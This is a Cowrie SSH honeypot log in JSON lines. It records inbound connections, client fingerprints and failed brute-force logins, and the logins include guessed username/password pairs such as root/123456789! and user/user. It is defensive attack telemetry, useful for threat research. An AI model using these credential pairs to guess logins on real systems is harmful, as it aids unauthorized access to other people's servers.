{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":45382,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf093ce16b8","protocol":"ssh","message":"New connection: 116.110.158.146:45382 (159.203.135.109:22) [session: 7bf093ce16b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:01.561066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:01.569886Z","src_ip":"116.110.158.146","session":"7bf093ce16b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:02.610776Z","src_ip":"116.110.158.146","session":"7bf093ce16b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":42186,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2773149b3c","protocol":"ssh","message":"New connection: 156.38.73.89:42186 (159.203.135.109:22) [session: 4c2773149b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:07.974276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:07.979429Z","src_ip":"156.38.73.89","session":"4c2773149b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:08.184468Z","src_ip":"156.38.73.89","session":"4c2773149b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:09.030351Z","src_ip":"156.38.73.89","session":"4c2773149b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:10.239486Z","src_ip":"156.38.73.89","session":"4c2773149b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"6519a4656bf5","protocol":"ssh","message":"New connection: 103.107.60.45:50648 (159.203.135.109:22) [session: 6519a4656bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:10.530058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:10.538338Z","src_ip":"103.107.60.45","session":"6519a4656bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:10.754956Z","src_ip":"103.107.60.45","session":"6519a4656bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:11.648893Z","src_ip":"103.107.60.45","session":"6519a4656bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:12.868934Z","src_ip":"103.107.60.45","session":"6519a4656bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:21.898280Z","src_ip":"116.110.158.146","session":"7bf093ce16b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.9","message":"Connection lost after 24.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:26.421113Z","src_ip":"116.110.158.146","session":"7bf093ce16b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":33618,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b3ebdd9802","protocol":"ssh","message":"New connection: 31.59.89.180:33618 (159.203.135.109:22) [session: d5b3ebdd9802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:36.323900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:36.329585Z","src_ip":"31.59.89.180","session":"d5b3ebdd9802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:36.440987Z","src_ip":"31.59.89.180","session":"d5b3ebdd9802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer-1234","message":"login attempt [root/Qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:36.923259Z","src_ip":"31.59.89.180","session":"d5b3ebdd9802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.037499Z","src_ip":"31.59.89.180","session":"d5b3ebdd9802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54482,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad15d797dac4","protocol":"ssh","message":"New connection: 38.93.206.2:54482 (159.203.135.109:22) [session: ad15d797dac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.104082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.109490Z","src_ip":"38.93.206.2","session":"ad15d797dac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.162620Z","src_ip":"38.93.206.2","session":"ad15d797dac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bvkmosrus2010","message":"login attempt [root/bvkmosrus2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.321292Z","src_ip":"38.93.206.2","session":"ad15d797dac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":36852,"dst_ip":"159.203.135.109","dst_port":22,"session":"802e66e7f99e","protocol":"ssh","message":"New connection: 20.203.42.204:36852 (159.203.135.109:22) [session: 802e66e7f99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.749338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.754552Z","src_ip":"20.203.42.204","session":"802e66e7f99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:38.924001Z","src_ip":"20.203.42.204","session":"802e66e7f99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:39.373422Z","src_ip":"38.93.206.2","session":"ad15d797dac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"12345678","message":"login attempt [runner/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:39.636597Z","src_ip":"20.203.42.204","session":"802e66e7f99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:40.994082Z","src_ip":"20.203.42.204","session":"802e66e7f99e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":51844,"dst_ip":"159.203.135.109","dst_port":22,"session":"0473a3f3cf6a","protocol":"ssh","message":"New connection: 20.87.219.67:51844 (159.203.135.109:22) [session: 0473a3f3cf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.398630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.402390Z","src_ip":"20.87.219.67","session":"0473a3f3cf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.631445Z","src_ip":"20.87.219.67","session":"0473a3f3cf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39396,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae92d3ab51c2","protocol":"ssh","message":"New connection: 109.237.96.109:39396 (159.203.135.109:22) [session: ae92d3ab51c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.684705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.690500Z","src_ip":"109.237.96.109","session":"ae92d3ab51c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:43.782117Z","src_ip":"109.237.96.109","session":"ae92d3ab51c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou1","message":"login attempt [root/loveyou1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:44.060333Z","src_ip":"109.237.96.109","session":"ae92d3ab51c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:44.580414Z","src_ip":"20.87.219.67","session":"0473a3f3cf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:45.155018Z","src_ip":"109.237.96.109","session":"ae92d3ab51c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:45.813198Z","src_ip":"20.87.219.67","session":"0473a3f3cf6a","protocol":"ssh"}
